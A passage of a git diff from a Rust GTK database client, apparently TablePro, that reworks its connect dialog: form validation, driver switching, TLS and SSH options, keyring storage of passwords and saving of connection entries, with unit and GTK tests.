self.test_button.set_sensitive(valid); - } - - fn is_form_valid(&self) -> bool { - if self.database.text().trim().is_empty() { - return false; - } - if !self.form.file_based { - if self.host.text().trim().is_empty() { - return false; - } - if self.form.shows_credentials() && self.username.text().trim().is_empty() { - return false; - } - } - if self.ssh.is_enabled() { - return self.ssh.collect().is_ok(); - } - true - } - - /// Show the driver's form and put its default port in, unless the - /// user has typed one. Their host, database and username stay: a - /// look at another driver must not wipe what they filled in. - fn apply_driver(&mut self, index: usize, root: &adw::Dialog) { - let Some(entry) = self.drivers.get(index).cloned() else { - return; - }; - if let Some(driver) = self.registry.get(&entry.id) { - self.apply_driver_form_visibility(driver.as_ref()); - if !self.port_edited.get() { - // Writing the port would otherwise look like the user - // typing it, and pin the port to this driver's default. - self.port.block_signal(&self.port_handler); - self.port.set_value(driver.default_port() as f64); - self.port.unblock_signal(&self.port_handler); - } - } - root.set_title(&crate::i18n::gettext_f( - "Connect to {name}", - &[("name", &entry.display_name)], - )); - } - - fn apply_driver_form_visibility(&mut self, driver: &dyn tablepro_core::DatabaseDriver) { - self.form.file_based = driver.is_file_based(); - self.form.supports_integrated = driver.supports_integrated_auth(); - self.apply_form_state(); - self.database.set_title(&if self.form.file_based { - crate::i18n::gettext("File path") - } else { - crate::i18n::gettext("Database") - }); - } - - fn apply_form_state(&self) { - let network = !self.form.file_based; - self.host.set_visible(network); - self.port.set_visible(network); - self.use_tls.set_visible(network); - // For file-based drivers (SQLite), only Connection + Options - // groups make sense; hide Authentication and SSH entirely. - self.auth_group.set_visible(network); - self.ssh.set_visible(network); - self.auth_combo.set_visible(self.form.shows_method()); - let credentials = self.form.shows_credentials(); - self.username.set_visible(credentials); - self.password.set_visible(credentials); - } - - fn collect_options(&self) -> ConnectOptions { - // The credential rows keep their text while hidden, so a mode or - // driver that does not use them must drop it here rather than - // let it reach the driver and the keyring. - let (username, password) = if self.form.shows_credentials() { - (self.username.text().to_string(), self.password.text().to_string()) - } else { - (String::new(), String::new()) - }; - ConnectOptions { - host: self.host.text().to_string(), - port: self.port.value() as u16, - database: self.database.text().to_string(), - username, - password: SecretString::new(password.into()), - use_tls: self.use_tls.is_active(), - auth_mode: self.form.mode(), - service_endpoint: None, - } - } - - fn show_toast(&self, message: &str) { - self.toast_overlay.add_toast(adw::Toast::new(message)); - } - - /// Disable Connect / Test while an async op is in flight and - /// switch the **busy** button's label to the in-progress wording - /// (the *other* button keeps its static label so the user isn't - /// confused about what's happening). The previous version - /// rewrote `submit.set_label("Testing…")` during a Test, leaving - /// the Connect button reading "Testing…" — a misleading label - /// for a button that isn't running the test. - fn set_busy(&self, kind: BusyKind) { - let busy = !matches!(kind, BusyKind::None); - self.submit.set_sensitive(!busy); - self.test_button.set_sensitive(!busy); - match kind { - BusyKind::None => { - self.submit.set_label(&crate::i18n::gettext("Connect")); - self.test_button.set_label(&crate::i18n::gettext("Test")); - } - BusyKind::Connecting => { - self.submit.set_label(&crate::i18n::gettext("Connecting…")); - self.test_button.set_label(&crate::i18n::gettext("Test")); - } - BusyKind::Testing => { - self.submit.set_label(&crate::i18n::gettext("Connect")); - self.test_button.set_label(&crate::i18n::gettext("Testing…")); - } - } - } -} - -/// Where the remembered driver sits in the sorted list, falling back to -/// PostgreSQL and then to whatever is first, so an uninstalled driver -/// id in the settings never opens an empty dialog. -fn driver_index(drivers: &[DriverEntry], remembered: &str) -> usize { - drivers - .iter() - .position(|entry| entry.id == remembered) - .or_else(|| drivers.iter().position(|entry| entry.id == "postgres")) - .unwrap_or(0) -} - -fn toggle_error(row: &adw::EntryRow, invalid: bool) { - if invalid { - row.add_css_class("error"); - } else { - row.remove_css_class("error"); - } -} - -/// The two stores a successful connect writes to. Bundled so the -/// connect future takes one value instead of two. -#[derive(Clone)] -struct SaveTargets { - connections: ConnectionStore, - secrets: std::sync::Arc, - tasks: tablepro_session::runtime::Tasks, -} - -async fn run_connect( - driver: Arc, - targets: SaveTargets, - driver_id: String, - label: String, - opts: ConnectOptions, - ssh: Option, - read_only: bool, -) -> Result { - let stored_password: SecretString = opts.password.clone(); - let ssh_for_establish = ssh.as_ref().map(|s| s.cfg.clone()); - let opts_clone = opts.clone(); - - let (conn, tunnel) = - connection_service::establish(driver.as_ref(), opts.clone(), ssh_for_establish, read_only).await?; - let tables = conn.list_tables().await.map_err(|e| format!("list_tables: {e}"))?; - - // Read once: the entry says both which id to write under and what - // the user already put on it that this form does not carry. - let existing = find_existing(&targets, &driver_id, &opts_clone, driver.is_file_based(), ssh.as_ref()).await; - let is_new = existing.is_none(); - let id = existing.as_ref().map(|saved| saved.id).unwrap_or_else(Uuid::new_v4); - - let mut saved = SavedConnection { - id, - name: label.clone(), - driver_id: driver_id.clone(), - host: opts_clone.host.clone(), - port: opts_clone.port, - database: opts_clone.database.clone(), - username: opts_clone.username.clone(), - use_tls: opts_clone.use_tls, - read_only, - auth_mode: opts_clone.auth_mode, - ssh: ssh.as_ref().map(|s| s.saved.clone()), - // Stays None until `App::on_connected` stamps it. Save then - // connect arrives in that order, so a freshly-saved entry is - // briefly None on disk before the touch lands. - last_opened_at: None, - // The colour and the group are put on from the connection list, - // not from this form, so reconnecting through the dialog has to - // carry what is already there instead of clearing it. - color: existing.as_ref().and_then(|saved| saved.color), - group: existing.as_ref().and_then(|saved| saved.group.clone()), - }; - - // Secrets go in first, so the single list write can record whether - // the passphrase actually landed. Storing after the write would - // leave has_passphrase claiming a secret that is not there. - let mut report = SecretSaveReport::default(); - if saved.auth_mode == AuthMode::Password { - let label = secret_labels::secret_label(SecretKind::DatabasePassword, &saved); - report.record( - SecretKind::DatabasePassword, - targets - .secrets - .store(saved.id, SecretKind::DatabasePassword, &stored_password, &label) - .await, - ); - } - if let Some(section) = &ssh { - match §ion.secret_to_store { - SshSecretToStore::Password(secret) => { - let label = secret_labels::secret_label(SecretKind::SshPassword, &saved); - report.record( - SecretKind::SshPassword, - targets - .secrets - .store(saved.id, SecretKind::SshPassword, secret, &label) - .await, - ); - } - SshSecretToStore::Passphrase(secret) => { - let label = secret_labels::secret_label(SecretKind::SshPassphrase, &saved); - let stored = report.record( - SecretKind::SshPassphrase, - targets - .secrets - .store(saved.id, SecretKind::SshPassphrase, secret, &label) - .await, - ); - if let Some(config) = saved.ssh.as_mut() - && let tablepro_storage::SavedSshAuth::PrivateKey { has_passphrase, .. } = &mut config.auth - { - *has_passphrase = stored; - } - } - SshSecretToStore::None => {} - } - } - - if let Err(error) = save_one(&targets, &saved).await { - // The list write is what makes the connection real. Without it - // the secrets just stored belong to nothing, so they go again. - if is_new { - let _ = targets.secrets.delete_connection(saved.id).await; - } - return Err(crate::i18n::gettext_f( - "The connection could not be saved: {error}", - &[("error", &error.to_string())], - )); - } - for message in report.messages() { - tracing::warn!(message, "a secret was not stored"); - } - let secret_warnings = report.messages(); - - let params = ReconnectParams { - driver: driver.clone(), - opts: opts_clone, - ssh: ssh.as_ref().map(|s| s.cfg.clone()), - read_only, - }; - let metadata = crate::services::database_service::ConnectionMetadata { - id: saved.id, - name: saved.name.clone(), - driver_id: saved.driver_id.clone(), - }; - database_service::instance().add(saved.id, metadata, conn, tunnel, read_only, params); - Ok(ConnectOutcome { - saved, - tables, - secret_warnings, - }) -} - -/// The store serialises the read, apply and write itself, so the save -/// path is one call and two concurrent saves cannot lose an entry. -async fn save_one(targets: &SaveTargets, connection: &SavedConnection) -> Result<(), tablepro_storage::StorageError> { - let connections = targets.connections.clone(); - let connection = connection.clone(); - targets - .tasks - .spawn_blocking_task(move || connections.upsert_blocking(connection)) - .await - .map_err(|failure| { - tablepro_storage::StorageError::Schema(format!("the connections write task failed: {failure}")) - })? -} - -async fn load_connections( - targets: &SaveTargets, -) -> Result, tablepro_storage::StorageError> { - let connections = targets.connections.clone(); - targets - .tasks - .spawn_blocking_task(move || connections.load_blocking()) - .await - .map_err(|failure| { - tablepro_storage::StorageError::Schema(format!("the connections read task failed: {failure}")) - })? -} - -async fn find_existing( - targets: &SaveTargets, - driver_id: &str, - opts: &ConnectOptions, - file_based: bool, - ssh: Option<&SshInputs>, -) -> Option { - let existing = load_connections(targets).await.ok()?; - existing - .iter() - .find(|saved| matches_existing(saved, driver_id, opts, file_based, ssh)) - .cloned() -} - -fn matches_existing( - saved: &SavedConnection, - driver_id: &str, - opts: &ConnectOptions, - file_based: bool, - ssh: Option<&SshInputs>, -) -> bool { - if saved.driver_id != driver_id || saved.database != opts.database { - return false; - } - // A file-based driver is reached by its path alone. Comparing the - // credentials there would strand every entry an older build wrote - // with the hidden Username row's leftover text. - if file_based { - return true; - } - saved.host == opts.host - && saved.port == opts.port - && saved.username == opts.username - && saved.auth_mode == opts.auth_mode - && saved_ssh_matches(&saved.ssh, ssh) -} - -fn saved_ssh_matches(saved: &Option, current: Option<&SshInputs>) -> bool { - match (saved, current) { - (None, None) => true, - (Some(s), Some(c)) => &c.saved == s, - _ => false, - } -} - -#[cfg(test)] -mod tests { - use super::*; - - /// (state, mode, shows_method, shows_credentials) - #[test] - fn auth_form_state_drives_mode_and_visibility() { - let cases = [ - (AuthFormState::default(), AuthMode::Password, false, true), - // MSSQL: offers the selector, password until Kerberos is picked. - ( - AuthFormState { - file_based: false, - supports_integrated: true, - selected: AuthMode::Password, - }, - AuthMode::Password, - true, - true, - ), - ( - AuthFormState { - file_based: false, - supports_integrated: true, - selected: AuthMode::Kerberos, - }, - AuthMode::Kerberos, - true, - false, - ), - // Postgres: a stale Kerberos selection does not survive the switch. - ( - AuthFormState { - file_based: false, - supports_integrated: false, - selected: AuthMode::Kerberos, - }, - AuthMode::Password, - false, - true, - ), - // SQLite: no credentials at all. - ( - AuthFormState { - file_based: true, - supports_integrated: true, - selected: AuthMode::Kerberos, - }, - AuthMode::Password, - false, - false, - ), - ]; - for (state, mode, method, credentials) in cases { - assert_eq!(state.mode(), mode, "{state:?}"); - assert_eq!(state.shows_method(), method, "{state:?}"); - assert_eq!(state.shows_credentials(), credentials, "{state:?}"); - } - } - - #[test] - fn the_combo_rows_decode_to_the_modes_they_are_labelled_with() { - assert_eq!(auth_mode_for_row(0), AuthMode::Password); - assert_eq!(auth_mode_for_row(1), AuthMode::Kerberos); - assert_eq!(auth_mode_for_row(7), AuthMode::Password); - assert_eq!(AUTH_MODE_ROWS.len(), 2); - } - - fn saved(driver_id: &str, username: &str, auth_mode: AuthMode) -> SavedConnection { - SavedConnection { - id: Uuid::new_v4(), - name: "saved".into(), - driver_id: driver_id.into(), - host: "sql.corp.example".into(), - port: 1433, - database: "sales".into(), - username: username.into(), - use_tls: false, - read_only: false, - auth_mode, - ssh: None, - last_opened_at: None, - color: None, - group: None, - } - } - - fn opts(username: &str, auth_mode: AuthMode) -> ConnectOptions { - ConnectOptions { - host: "sql.corp.example".into(), - port: 1433, - database: "sales".into(), - username: username.into(), - auth_mode, - ..Default::default() - } - } - - #[test] - fn a_file_based_entry_is_identified_by_its_path_alone() { - let legacy = saved("sqlite", "postgres", AuthMode::Password); - assert!(matches_existing( - &legacy, - "sqlite", - &opts("", AuthMode::Password), - true, - None - )); - } - - #[test] - fn a_network_entry_still_distinguishes_user_and_auth_mode() { - let entry = saved("mssql", "sa", AuthMode::Password); - assert!(matches_existing( - &entry, - "mssql", - &opts("sa", AuthMode::Password), - false, - None - )); - assert!(!matches_existing( - &entry, - "mssql", - &opts("other", AuthMode::Password), - false, - None - )); - assert!(!matches_existing( - &entry, - "mssql", - &opts("", AuthMode::Kerberos), - false, - None - )); - } - - #[test] - fn two_kerberos_entries_on_one_host_are_told_apart_by_database() { - let sales = saved("mssql", "", AuthMode::Kerberos); - let mut finance = opts("", AuthMode::Kerberos); - finance.database = "finance".into(); - assert!(matches_existing( - &sales, - "mssql", - &opts("", AuthMode::Kerberos), - false, - None - )); - assert!(!matches_existing(&sales, "mssql", &finance, false, None)); - } - - fn test_dialog() -> relm4::component::Controller { - dialog_with(&crate::test_support::MemorySettings::new()) - } - - /// Every driver the app ships, so the combo has the same shape a - /// user sees and a remembered id has somewhere to land. - fn dialog_with(settings: &crate::test_support::MemorySettings) -> relm4::component::Controller { - let runtime = crate::runtime::AppRuntime::build().expect("a runtime"); - let root = std::env::temp_dir().join(format!("tablepro-connect-{}", std::process::id())); - let paths = tablepro_storage::StoragePaths::under(&root, "tablepro-test", "app.tablepro.TablePro.Devel"); - let storage = std::rc::Rc::new(crate::storage::AppStorage::new( - paths, - std::sync::Arc::new(tablepro_storage::SecretStore::new(crate::config::secret_schema())), - &runtime.tasks(), - )); - let mut registry = DriverRegistry::new(); - registry.register(std::sync::Arc::new(drivers_clickhouse::ClickhouseDriver)); - registry.register(std::sync::Arc::new(drivers_postgres::PgDriver)); - registry.register(std::sync::Arc::new(drivers_sqlite::SqliteDriver)); - - ConnectDialog::builder() - .launch(ConnectDialogInit { - registry: Arc::new(registry), - storage, - settings: settings.get().clone(), - tasks: runtime.tasks(), - }) - .detach() - } - - /// The combo row index of a driver id, as the sorted list has it. - fn row_for(controller: &relm4::component::Controller, driver_id: &str) -> u32 { - let model = controller.model(); - let index = model - .drivers - .iter() - .position(|entry| entry.id == driver_id) - .unwrap_or_else(|| panic!("{driver_id} is not in the combo")); - index as u32 - } - - #[gtk4::test] - fn dialog_opens_with_remembered_driver_and_its_port() { - let settings = crate::test_support::MemorySettings::new(); - settings - .get() - .set_connect_dialog_driver("clickhouse") - .expect("remember the driver"); - - let controller = dialog_with(&settings); - let model = controller.model(); - - assert_eq!(model.driver_combo.selected(), row_for(&controller, "clickhouse")); - assert_eq!(model.port.value() as u16, 8123); - assert_eq!(model.host.text(), "", "the host was prefilled instead of placeholdered"); - assert_eq!(model.database.text(), ""); - assert_eq!(model.username.text(), ""); - } - - #[gtk4::test] - fn an_uninstalled_remembered_driver_falls_back_to_postgres() { - let settings = crate::test_support::MemorySettings::new(); - settings - .get() - .set_connect_dialog_driver("cassandra") - .expect("remember the driver"); - - let controller = dialog_with(&settings); - - assert_eq!( - controller.model().driver_combo.selected(), - row_for(&controller, "postgres") - ); - } - - #[gtk4::test] - fn driver_switch_keeps_user_edited_port() { - let controller = dialog_with(&crate::test_support::MemorySettings::new()); - let clickhouse = row_for(&controller, "clickhouse"); - controller.model().port.set_value(6543.0); - - controller - .sender() - .send(ConnectDialogInput::DriverChanged(clickhouse)) - .expect("the dialog is running"); - crate::test_support::drain_main_context(); - - assert_eq!( - controller.model().port.value() as u16, - 6543, - "a driver switch overwrote a port the user typed" - ); - } - - #[gtk4::test] - fn a_driver_switch_moves_an_untouched_port() { - let controller = dialog_with(&crate::test_support::MemorySettings::new()); - assert_eq!(controller.model().port.value() as u16, 5432); - let clickhouse = row_for(&controller, "clickhouse"); - - controller - .sender() - .send(ConnectDialogInput::DriverChanged(clickhouse)) - .expect("the dialog is running"); - crate::test_support::drain_main_context(); - - assert_eq!(controller.model().port.value() as u16, 8123); - } - - #[gtk4::test] - fn driver_switch_keeps_typed_host_and_user() { - let controller = dialog_with(&crate::test_support::MemorySettings::new()); - { - let model = controller.model(); - model.host.set_text("db.corp.example"); - model.database.set_text("sales"); - model.username.set_text("reporting"); - } - let clickhouse = row_for(&controller, "clickhouse"); - - controller - .sender() - .send(ConnectDialogInput::DriverChanged(clickhouse)) - .expect("the dialog is running"); - crate::test_support::drain_main_context(); - - let model = controller.model(); - assert_eq!(model.host.text(), "db.corp.example"); - assert_eq!(model.database.text(), "sales"); - assert_eq!(model.username.text(), "reporting"); - } - - #[gtk4::test] - fn enter_in_any_text_row_reaches_connect() { - // Enter needs both halves: activates-default on the row, which - // is what makes AdwEntryRow call gtk_widget_activate_default, - // and Connect as the dialog's default widget for it to reach. - // `structure_tab_dialogs` proves the pair really fires a click. - let controller = test_dialog(); - let model = controller.model(); - - assert!(model.host.activates_default(), "host"); - assert!(model.database.activates_default(), "database"); - assert!(model.username.activates_default(), "username"); - assert!(model.password.activates_default(), "password"); - assert_eq!( - controller.widget().default_widget(), - Some(model.submit.clone().upcast::()), - "Connect is not the dialog's default widget" - ); - } - - #[gtk4::test] - fn connect_stays_insensitive_until_the_form_is_valid() { - // Enter on an invalid form does nothing because AdwDialog skips - // an insensitive default widget. - let controller = test_dialog(); - let model = controller.model(); - model.host.set_text(""); - model.database.set_text("postgres"); - model.username.set_text("postgres"); - model.refresh_validity(); - assert!(!model.submit.is_sensitive(), "Connect was sensitive without a host"); - - model.host.set_text("localhost"); - model.refresh_validity(); - - assert!( - model.submit.is_sensitive(), - "Connect stayed insensitive on a valid form" - ); - } - - #[gtk4::test] - fn every_ssh_text_row_submits_on_enter() { - let controller = test_dialog(); - let ssh = &controller.model().ssh; - - for (name, activates) in ssh.rows_activating_default() { - assert!(activates, "{name} does not submit on Enter"); - } - } -} diff --git a/linux/crates/app/src/ui/connect_dialog/connect_form.rs b/linux/crates/app/src/ui/connect_dialog/connect_form.rs new file mode 100644 index 0000000000..c3b06887e5 --- /dev/null +++ b/linux/crates/app/src/ui/connect_dialog/connect_form.rs @@ -0,0 +1,832 @@ +use std::path::{Path, PathBuf}; + +use secrecy::SecretString; +use tablepro_core::credentials::{SecretKind, SecretSave}; +use tablepro_core::{ + AuthMode, ClientIdentity, ConfigError, Credentials, DriverCapabilities, FileEndpoint, NetworkEndpoint, + ServerNameOverride, TlsCapabilities, TlsConfig, TlsMode, TransportClass, +}; +use tablepro_session::RequestTarget; +use tablepro_storage::{SavedConnection, SavedSshConfig}; +use uuid::Uuid; + +use super::form_errors::FormErrors; +use super::form_field::FormField; +use crate::services::secret_labels; +use crate::ui::error_text::config_message; +use crate::ui::ssh_inputs::{SshFormState, SshInputError, SshSecretToStore}; + +/// The Security rows as chosen. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct TlsFormState { + pub mode: TlsMode, + pub ca_file: Option, + pub client_certificate: Option, + pub client_key: Option, + pub server_name: String, +} + +impl TlsFormState { + pub fn new(caps: Option<&TlsCapabilities>) -> Self { + Self { + mode: default_tls_mode(caps), + ca_file: None, + client_certificate: None, + client_key: None, + server_name: String::new(), + } + } + + pub fn from_config(config: &TlsConfig) -> Self { + Self { + mode: config.mode, + ca_file: config.ca_file.clone(), + client_certificate: config + .client_identity + .as_ref() + .map(|identity| identity.certificate.clone()), + client_key: config.client_identity.as_ref().map(|identity| identity.key.clone()), + server_name: config.server_name.clone().unwrap_or_default(), + } + } + + /// The settings a request carries. A row the driver does not show + /// is left out rather than cleared, so looking at another driver + /// and coming back keeps what was chosen. + pub fn config(&self, caps: &TlsCapabilities, route: TransportClass) -> TlsConfig { + if self.mode == TlsMode::Disable { + return TlsConfig::disabled(); + } + let client_identity = (caps.client_identity + && (self.client_certificate.is_some() || self.client_key.is_some())) + .then(|| ClientIdentity { + certificate: self.client_certificate.clone().unwrap_or_default(), + key: self.client_key.clone().unwrap_or_default(), + }); + TlsConfig { + mode: self.mode, + ca_file: self.ca_file.clone().filter(|_| caps.ca_file), + client_identity, + server_name: Some(self.server_name.trim().to_owned()) + .filter(|name| !name.is_empty() && shows_server_name(caps, route)), + } + } +} + +/// Verify full is the only mode that proves who is on the other end, +/// so a new connection starts there whenever the driver offers it. +pub fn default_tls_mode(caps: Option<&TlsCapabilities>) -> TlsMode { + match caps { + Some(caps) if caps.modes.contains(&TlsMode::VerifyFull) => TlsMode::VerifyFull, + Some(caps) => caps.modes.last().copied().unwrap_or(TlsMode::Disable), + None => TlsMode::Disable, + } +} + +/// Whether the driver can check the certificate against another name +/// on this route. MySQL only can over an SSH forward, where the name it +/// dials is the forward's and never the certificate's. +pub fn shows_server_name(caps: &TlsCapabilities, route: TransportClass) -> bool { + match caps.server_name_override { + ServerNameOverride::AnyRoute => true, + ServerNameOverride::SshForwardOnly => route == TransportClass::SshForward, + ServerNameOverride::Unsupported => false, + } +} + +/// What the connect dialog holds, read from its rows in one go so a +/// connect works from a snapshot. +#[derive(Debug, Clone)] +pub struct ConnectForm { + pub driver_id: String, + pub host: String, + pub port: u16, + /// Set once the user types a port. A driver switch only moves the + /// port while this is false, so a deliberate 6543 survives a look + /// at another driver. + pub port_edited: bool, + pub database: String, + pub auth: AuthMode, + pub username: String, + pub password: SecretString, + pub remember_password: bool, + pub tls: TlsFormState, + pub read_only: bool, + pub ssh: Option, + pub file: Option, +} + +/// A form that passed every check, ready to connect and to save. +#[derive(Clone)] +pub struct ValidatedForm { + pub target: RequestTarget, + pub ssh: Option<(SavedSshConfig, SshSecretToStore)>, +} + +impl ConnectForm { + pub fn new(driver_id: &str, caps: &DriverCapabilities) -> Self { + Self { + driver_id: driver_id.to_owned(), + host: String::new(), + port: caps.default_port().unwrap_or(1), + port_edited: false, + database: String::new(), + auth: caps.auth_modes.first().copied().unwrap_or_default(), + username: String::new(), + password: SecretString::from(String::new()), + remember_password: true, + tls: TlsFormState::new(caps.tls.as_ref()), + read_only: false, + ssh: None, + file: None, + } + } + + /// The form a saved connection fills, for editing it after a failed + /// connect. Secrets are not read: they live in the keyring. + pub fn from_saved(saved: &SavedConnection, caps: &DriverCapabilities) -> Self { + let mut form = Self::new(&saved.driver_id, caps); + form.read_only = saved.read_only; + if caps.is_file_based() { + form.file = FileEndpoint::open_existing(PathBuf::from(&saved.database)).ok(); + return form; + } + form.host = saved.host.clone(); + form.port_edited = caps.default_port() != Some(saved.port); + form.port = saved.port; + form.database = saved.database.clone(); + form.username = saved.username.clone(); + if caps.supports(saved.auth_mode) { + form.auth = saved.auth_mode; + } + form.tls = TlsFormState::from_config(&saved.tls); + form.ssh = saved.ssh.as_ref().map(SshFormState::from_saved); + form + } + + /// Look at another driver. Host, database and username stay: a look + /// at another driver must not wipe what the user filled in. + pub fn switch_driver(&mut self, driver_id: &str, caps: &DriverCapabilities) { + driver_id.clone_into(&mut self.driver_id); + if !self.port_edited + && let Some(port) = caps.default_port() + { + self.port = port; + } + if !caps.auth_modes.is_empty() && !caps.supports(self.auth) { + self.auth = caps.auth_modes.first().copied().unwrap_or_default(); + } + if let Some(tls) = caps.tls.as_ref() + && !tls.modes.contains(&self.tls.mode) + { + self.tls.mode = default_tls_mode(Some(tls)); + } + } + + /// Check every row the driver shows and build where the connect + /// goes, or say what is wrong with each row that is. + pub fn validate(&self, caps: &DriverCapabilities) -> Result { + let mut errors = FormErrors::default(); + if caps.is_file_based() { + return match &self.file { + Some(endpoint) => Ok(ValidatedForm { + target: RequestTarget::File(endpoint.clone()), + ssh: None, + }), + None => { + errors.push( + FormField::File, + crate::i18n::gettext("Choose a database file, or create a new one."), + true, + ); + Err(errors) + } + }; + } + + let endpoint = match NetworkEndpoint::new(&self.host, self.port) { + Ok(endpoint) => Some(endpoint), + Err(error) => { + let (field, missing) = match error { + ConfigError::InvalidPort => (FormField::Port, false), + ConfigError::EmptyHost => (FormField::Host, true), + _ => (FormField::Host, false), + }; + errors.push(field, config_message(&error), missing); + None + } + }; + + if !caps.supports(self.auth) { + errors.push( + FormField::AuthMode, + config_message(&ConfigError::AuthModeUnsupported), + false, + ); + } + let username = self.username.trim(); + let credentials = match self.auth { + AuthMode::Password => { + if username.is_empty() { + errors.push( + FormField::Username, + crate::i18n::gettext("Enter the username to log in with."), + true, + ); + } + Credentials::Password { + username: username.to_owned(), + password: self.password.clone(), + } + } + AuthMode::Kerberos => Credentials::Integrated, + }; + + let database = self.database.trim(); + if caps.database_required && database.is_empty() { + errors.push( + FormField::Database, + config_message(&ConfigError::DatabaseRequired), + true, + ); + } + + let ssh = match self.ssh.as_ref().map(SshFormState::inputs).transpose() { + Ok(ssh) => ssh, + Err(error) => { + errors.push(ssh_field(&error), error.message(), error.is_missing()); + None + } + }; + let route = if self.ssh.is_some() { + TransportClass::SshForward + } else { + TransportClass::DirectTcp + }; + + let tls = match caps.tls.as_ref() { + Some(tls_caps) => { + let config = self.tls.config(tls_caps, route); + if let Err(error) = config.validate(tls_caps, route) { + errors.push(tls_field(&error, &config), config_message(&error), false); + } + config + } + None => TlsConfig::disabled(), + }; + + let Some(endpoint) = endpoint.filter(|_| errors.is_empty()) else { + return Err(errors); + }; + let (cfg, saved_ssh) = match ssh { + Some(inputs) => (Some(inputs.cfg), Some((inputs.saved, inputs.secret_to_store))), + None => (None, None), + }; + Ok(ValidatedForm { + target: RequestTarget::Network { + endpoint, + ssh: cfg, + credentials, + database: Some(database.to_owned()).filter(|name| !name.is_empty()), + tls, + }, + ssh: saved_ssh, + }) + } + + /// How the entry is named in the connection list. + pub fn label(&self, caps: &DriverCapabilities) -> String { + if caps.is_file_based() { + return self + .file + .as_ref() + .map(|file| file.path().display().to_string()) + .unwrap_or_default(); + } + let host = self.host.trim(); + match self.auth { + AuthMode::Kerberos => host.to_owned(), + AuthMode::Password => format!("{}@{host}", self.username.trim()), + } + } + + /// The entry a successful connect writes. Colour, group and the + /// last-opened time come from the entry it replaces, because this + /// form does not show them. + pub fn saved_connection( + &self, + caps: &DriverCapabilities, + valid: &ValidatedForm, + id: Uuid, + existing: Option<&SavedConnection>, + ) -> SavedConnection { + let (host, port, database, username, tls, auth_mode) = match &valid.target { + RequestTarget::File(endpoint) => ( + String::new(), + 0, + endpoint.path().display().to_string(), + String::new(), + TlsConfig::disabled(), + AuthMode::Password, + ), + RequestTarget::Network { + endpoint, + credentials, + database, + tls, + .. + } => ( + endpoint.host().to_owned(), + endpoint.port(), + database.clone().unwrap_or_default(), + match credentials { + Credentials::Password { username, .. } => username.clone(), + Credentials::Integrated => String::new(), + }, + tls.clone(), + credentials.mode(), + ), + }; + SavedConnection { + id, + name: self.label(caps), + driver_id: self.driver_id.clone(), + host, + port, + database, + username, + tls, + read_only: self.read_only, + auth_mode, + ssh: valid.ssh.as_ref().map(|(saved, _)| saved.clone()), + last_opened_at: existing.and_then(|saved| saved.last_opened_at), + color: existing.and_then(|saved| saved.color), + group: existing.and_then(|saved| saved.group.clone()), + } + } + + /// The secrets the entry is saved with. The database password goes + /// in even when empty: a login with no password is still a login + /// the keyring answers for. + pub fn secrets_to_store(&self, valid: &ValidatedForm, saved: &SavedConnection) -> Vec { + let save = |kind, secret: &SecretString| SecretSave { + kind, + secret: secret.clone(), + label: secret_labels::secret_label(kind, saved), + }; + let mut secrets = Vec::new(); + if self.keeps_database_password(valid) { + secrets.push(save(SecretKind::DatabasePassword, &self.password)); + } + match valid.ssh.as_ref().map(|(_, secret)| secret) { + Some(SshSecretToStore::Password(secret)) => secrets.push(save(SecretKind::SshPassword, secret)), + Some(SshSecretToStore::Passphrase(secret)) => secrets.push(save(SecretKind::SshPassphrase, secret)), + Some(SshSecretToStore::None) | None => {} + } + secrets + } + + /// Secrets an earlier save of this entry may hold that the user now + /// asked not to keep, so the next connect asks instead of using them. + pub fn secrets_to_forget(&self, valid: &ValidatedForm) -> Vec { + let password_login = matches!( + valid.target, + RequestTarget::Network { + credentials: Credentials::Password { .. }, + .. + } + ); + if password_login && !self.remember_password { + vec![SecretKind::DatabasePassword] + } else { + Vec::new() + } + } + + fn keeps_database_password(&self, valid: &ValidatedForm) -> bool { + self.remember_password + && matches!( + valid.target, + RequestTarget::Network { + credentials: Credentials::Password { .. }, + .. + } + ) + } +} + +/// The saved entry the form describes again, so connecting twice to +/// the same database updates one entry instead of adding a second. +pub fn match_saved_connection( + saved: &[SavedConnection], + candidate: &SavedConnection, + file_based: bool, +) -> Option { + saved + .iter() + .find(|entry| same_connection(entry, candidate, file_based)) + .map(|entry| entry.id) +} + +fn same_connection(entry: &SavedConnection, candidate: &SavedConnection, file_based: bool) -> bool { + if entry.driver_id != candidate.driver_id || entry.database != candidate.database { + return false; + } + // A file is reached by its path alone. Comparing the credentials + // there would strand every entry an older build wrote with the + // hidden Username row's leftover text. + if file_based { + return true; + } + entry.host == candidate.host + && entry.port == candidate.port + && entry.username == candidate.username + && entry.auth_mode == candidate.auth_mode + && entry.ssh == candidate.ssh +} + +fn ssh_field(error: &SshInputError) -> FormField { + match error { + SshInputError::HostRequired | SshInputError::HostInvalid(_) => FormField::SshHost, + SshInputError::PortOutOfRange => FormField::SshPort, + SshInputError::UserInvalid(_) => FormField::SshUser, + SshInputError::JumpHostsInvalid(_) => FormField::SshJumpHosts, + SshInputError::KeyPathRequired => FormField::SshKeyPath, + } +} + +/// The Security row a TLS problem belongs to. +pub fn tls_field(error: &ConfigError, config: &TlsConfig) -> FormField { + let identity = config.client_identity.as_ref(); + let is_certificate = |path: &Path| identity.is_some_and(|identity| identity.certificate == path); + match error { + ConfigError::UnsupportedTlsMode => FormField::Encryption, + ConfigError::CaFileUnsupported | ConfigError::CaFile { .. } => FormField::CaFile, + ConfigError::ClientIdentityFile { path, .. } if !is_certificate(path) => FormField::ClientKey, + ConfigError::ClientIdentityIncomplete + if identity.is_some_and(|identity| !identity.certificate.as_os_str().is_empty()) => + { + FormField::ClientKey + } + ConfigError::RelativePath if config.ca_file.as_deref().is_some_and(Path::is_relative) => FormField::CaFile, + ConfigError::RelativePath if identity.is_some_and(|identity| identity.key.is_relative()) => { + FormField::ClientKey + } + ConfigError::InvalidServerName | ConfigError::ServerNameOverrideUnsupported { .. } => FormField::ServerName, + _ => FormField::ClientCertificate, + } +} + +#[cfg(test)] +mod tests { + use secrecy::ExposeSecret; + use tablepro_core::DatabaseDriver; + use tablepro_storage::SavedSshAuth; + + use super::*; + use crate::ui::ssh_inputs::{SshAuthChoice, SshEnvironment}; + + fn caps(driver: &dyn DatabaseDriver) -> &'static DriverCapabilities { + driver.capabilities() + } + + fn postgres() -> &'static DriverCapabilities { + caps(&drivers_postgres::PgDriver) + } + + fn mysql() -> &'static DriverCapabilities { + caps(&drivers_mysql::MysqlDriver) + } + + fn mssql() -> &'static DriverCapabilities { + caps(&drivers_mssql::MssqlDriver) + } + + fn sqlite() -> &'static DriverCapabilities { + caps(&drivers_sqlite::SqliteDriver) + } + + fn filled(driver_id: &str, 